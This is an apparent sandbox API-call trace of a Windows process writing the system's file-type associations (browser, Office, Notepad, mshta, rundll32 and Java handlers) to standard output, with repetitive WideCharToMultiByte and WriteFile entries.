	[0056.765] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="FaxCover.Document=%systemroot%\\system32\\fxscover.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FaxCover.Document=%systemroot%\\system32\\fxscover.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 60
	[0056.765] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x3b, lpOverlapped=0x0) returned 1
	[0056.765] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.765] GetFileType (hFile=0x5c) returned 0x3
	[0056.765] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.765] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="feed=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feed=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 81
	[0056.765] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x50, lpOverlapped=0x0) returned 1
	[0056.768] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.768] GetFileType (hFile=0x5c) returned 0x3
	[0056.768] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.768] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="feeds=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 82
	[0056.768] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x51, lpOverlapped=0x0) returned 1
	[0056.768] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.768] GetFileType (hFile=0x5c) returned 0x3
	[0056.768] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.769] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="FirefoxHTML=\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\" -osint -url \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FirefoxHTML=\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\" -osint -url \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 84
	[0056.769] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x53, lpOverlapped=0x0) returned 1
	[0056.769] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.769] GetFileType (hFile=0x5c) returned 0x3
	[0056.769] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.769] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="FirefoxURL=\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\" -osint -url \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FirefoxURL=\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\" -osint -url \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 83
	[0056.769] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x52, lpOverlapped=0x0) returned 1
	[0056.769] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.769] GetFileType (hFile=0x5c) returned 0x3
	[0056.769] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.769] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Folder=%SystemRoot%\\Explorer.exe\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Folder=%SystemRoot%\\Explorer.exe\r\n", lpUsedDefaultChar=0x0) returned 35
	[0056.769] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x22, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x22, lpOverlapped=0x0) returned 1
	[0056.770] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.770] GetFileType (hFile=0x5c) returned 0x3
	[0056.770] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.770] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ftp=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ftp=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" %1\r\n", lpUsedDefaultChar=0x0) returned 65
	[0056.770] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x40, lpOverlapped=0x0) returned 1
	[0056.770] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.770] GetFileType (hFile=0x5c) returned 0x3
	[0056.770] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.770] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="giffile=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="giffile=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 74
	[0056.770] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x49, lpOverlapped=0x0) returned 1
	[0056.771] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.771] GetFileType (hFile=0x5c) returned 0x3
	[0056.771] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.771] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Groove.SPFS.OneNoteStub=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\GROOVE.EXE\" /OneNoteStub: \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Groove.SPFS.OneNoteStub=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\GROOVE.EXE\" /OneNoteStub: \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 106
	[0056.771] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x69, lpOverlapped=0x0) returned 1
	[0056.771] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.771] GetFileType (hFile=0x5c) returned 0x3
	[0056.771] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.771] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="group_wab_auto_file=\"%ProgramFiles%\\Windows Mail\\wab.exe\" /Group \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group_wab_auto_file=\"%ProgramFiles%\\Windows Mail\\wab.exe\" /Group \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 72
	[0056.771] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x47, lpOverlapped=0x0) returned 1
	[0056.771] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.771] GetFileType (hFile=0x5c) returned 0x3
	[0056.771] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.771] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="grvOpen=C:\\Program Files\\Microsoft Office\\Root\\Office16\\GROOVE.EXE /TakeOffline: \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="grvOpen=C:\\Program Files\\Microsoft Office\\Root\\Office16\\GROOVE.EXE /TakeOffline: \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 88
	[0056.771] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x57, lpOverlapped=0x0) returned 1
	[0056.772] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.772] GetFileType (hFile=0x5c) returned 0x3
	[0056.772] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.772] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="hlpfile=%SystemRoot%\\winhlp32.exe %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hlpfile=%SystemRoot%\\winhlp32.exe %1\r\n", lpUsedDefaultChar=0x0) returned 39
	[0056.772] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x26, lpOverlapped=0x0) returned 1
	[0056.772] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.772] GetFileType (hFile=0x5c) returned 0x3
	[0056.772] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.772] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="htafile=C:\\Windows\\SysWOW64\\mshta.exe \"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htafile=C:\\Windows\\SysWOW64\\mshta.exe \"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 48
	[0056.772] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x2f, lpOverlapped=0x0) returned 1
	[0056.772] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.772] GetFileType (hFile=0x5c) returned 0x3
	[0056.772] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.773] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="htmlfile=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlfile=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 75
	[0056.773] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x4a, lpOverlapped=0x0) returned 1
	[0056.773] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.773] GetFileType (hFile=0x5c) returned 0x3
	[0056.773] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.773] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 71
	[0056.773] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x46, lpOverlapped=0x0) returned 1
	[0056.773] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.773] GetFileType (hFile=0x5c) returned 0x3
	[0056.773] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.773] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="https=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="https=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 72
	[0056.773] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x47, lpOverlapped=0x0) returned 1
	[0056.774] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.774] GetFileType (hFile=0x5c) returned 0x3
	[0056.774] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.774] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="icofile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icofile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 124
	[0056.774] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7b, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x7b, lpOverlapped=0x0) returned 1
	[0056.774] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.774] GetFileType (hFile=0x5c) returned 0x3
	[0056.774] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.774] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="IE.AssocFile.HTM=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IE.AssocFile.HTM=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 83
	[0056.774] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x52, lpOverlapped=0x0) returned 1
	[0056.774] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.774] GetFileType (hFile=0x5c) returned 0x3
	[0056.774] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.774] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="IE.AssocFile.MHT=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IE.AssocFile.MHT=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 83
	[0056.775] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x52, lpOverlapped=0x0) returned 1
	[0056.775] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.775] GetFileType (hFile=0x5c) returned 0x3
	[0056.775] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.775] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="IE.AssocFile.URL=\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Windows\\System32\\ieframe.dll\",OpenURL %l\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IE.AssocFile.URL=\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Windows\\System32\\ieframe.dll\",OpenURL %l\r\n", lpUsedDefaultChar=0x0) returned 99
	[0056.775] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x62, lpOverlapped=0x0) returned 1
	[0056.775] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.775] GetFileType (hFile=0x5c) returned 0x3
	[0056.775] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.775] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="IE.FTP=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IE.FTP=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" %1\r\n", lpUsedDefaultChar=0x0) returned 68
	[0056.775] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x43, lpOverlapped=0x0) returned 1
	[0056.775] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.775] GetFileType (hFile=0x5c) returned 0x3
	[0056.775] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.775] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="IE.HTTP=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IE.HTTP=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 74
	[0056.775] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x49, lpOverlapped=0x0) returned 1
	[0056.775] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.776] GetFileType (hFile=0x5c) returned 0x3
	[0056.776] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.776] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="IE.HTTPS=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IE.HTTPS=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 75
	[0056.776] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x4a, lpOverlapped=0x0) returned 1
	[0056.776] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.776] GetFileType (hFile=0x5c) returned 0x3
	[0056.776] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.776] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="im=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="im=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 67
	[0056.776] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x42, lpOverlapped=0x0) returned 1
	[0056.777] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.777] GetFileType (hFile=0x5c) returned 0x3
	[0056.777] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.777] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="inffile=%SystemRoot%\\system32\\NOTEPAD.EXE %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inffile=%SystemRoot%\\system32\\NOTEPAD.EXE %1\r\n", lpUsedDefaultChar=0x0) returned 47
	[0056.777] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x2e, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x2e, lpOverlapped=0x0) returned 1
	[0056.777] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.777] GetFileType (hFile=0x5c) returned 0x3
	[0056.777] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.777] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="inifile=%SystemRoot%\\system32\\NOTEPAD.EXE %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inifile=%SystemRoot%\\system32\\NOTEPAD.EXE %1\r\n", lpUsedDefaultChar=0x0) returned 47
	[0056.777] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x2e, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x2e, lpOverlapped=0x0) returned 1
	[0056.777] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.777] GetFileType (hFile=0x5c) returned 0x3
	[0056.778] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.778] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InternetShortcut=\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Windows\\System32\\ieframe.dll\",OpenURL %l\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InternetShortcut=\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Windows\\System32\\ieframe.dll\",OpenURL %l\r\n", lpUsedDefaultChar=0x0) returned 99
	[0056.778] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x62, lpOverlapped=0x0) returned 1
	[0056.778] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.778] GetFileType (hFile=0x5c) returned 0x3
	[0056.778] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.778] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="iqyfile=C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iqyfile=C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 73
	[0056.778] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x48, lpOverlapped=0x0) returned 1
	[0056.778] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.778] GetFileType (hFile=0x5c) returned 0x3
	[0056.778] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.778] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="jarfile=\"C:\\Program Files (x86)\\Java\\jre7\\bin\\javaw.exe\" -jar \"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jarfile=\"C:\\Program Files (x86)\\Java\\jre7\\bin\\javaw.exe\" -jar \"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 72
	[0056.778] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x47, lpOverlapped=0x0) returned 1
	[0056.779] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.779] GetFileType (hFile=0x5c) returned 0x3
	[0056.779] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.779] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="JNLPFile=\"C:\\Program Files (x86)\\Java\\jre7\\bin\\javaws.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JNLPFile=\"C:\\Program Files (x86)\\Java\\jre7\\bin\\javaws.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 66
	[0056.779] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x41, lpOverlapped=0x0) returned 1
